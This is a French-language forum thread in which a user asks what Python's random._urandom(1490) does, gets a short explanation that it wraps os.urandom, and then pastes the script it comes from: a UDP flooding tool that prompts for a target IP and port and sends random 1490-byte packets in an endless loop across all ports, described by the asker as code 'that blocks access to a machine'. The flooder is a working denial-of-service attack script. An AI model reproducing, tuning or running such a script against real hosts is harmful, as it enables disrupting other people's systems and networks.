Fonction urandom

Utilisateur anonyme -  
 Utilisateur anonyme -
Bonjour,

Bonjour,

Je voudrais comprendre ce que fait cette ligne svp ?

bytes = random._urandom(1490)

Que ce qui se passe si je baisse le chiffre 1490 ?

bytes = random._urandom(590) par exemple.

Merci d'avance de votre aide

1 réponse

  1. trifou
     
    Bonsoir,

    Si tu baisses le chiffre, tu obtiens moins de valeurs XD

    random._urandom est une référence sur la fonction os.urandom qui exploite le générateur aléatoire du système d'exploitation.

    Et pour voir ce que os.urandom retourne, il suffit de l'afficher.
    >>> import os
    >>> bts = os.urandom(10)
    >>> print(', '.join(str(b) for b in bts))
    0
    1. Utilisateur anonyme
       
      Merci de votre explication. Donc si j'ai bien compris, dans ce code qui permet de bloquer accès à une machine si je baisse le chiffre 1490 en mettant par exemple bytes = random._urandom(500), j'enverrai moins de requêtes à la machine.

      En fait, mon but est d'envoyer moins de flux à la machine afin de générer moins de flux réseau sur wireshark

      ##############
      sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      bytes = random._urandom(1490)
      #############

      os.system("clear")
      os.system("launching")
      print

      print
      ip = raw_input("IP Target : ")
      port = input("Port : ")

      os.system("clear")
      os.system("figlet launching Starts")
      print "[ ] 0% "
      time.sleep(5)
      print "[===== ] 25%"
      time.sleep(5)
      print "[========== ] 50%"
      time.sleep(5)
      print "[=============== ] 75%"
      time.sleep(5)
      print "[====================] 100%"
      time.sleep(3)
      sent = 0
      while True:
      sock.sendto(bytes, (ip,port))
      sent = sent + 1
      port = port + 1
      print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
      if port == 65534:
      port = 1
      0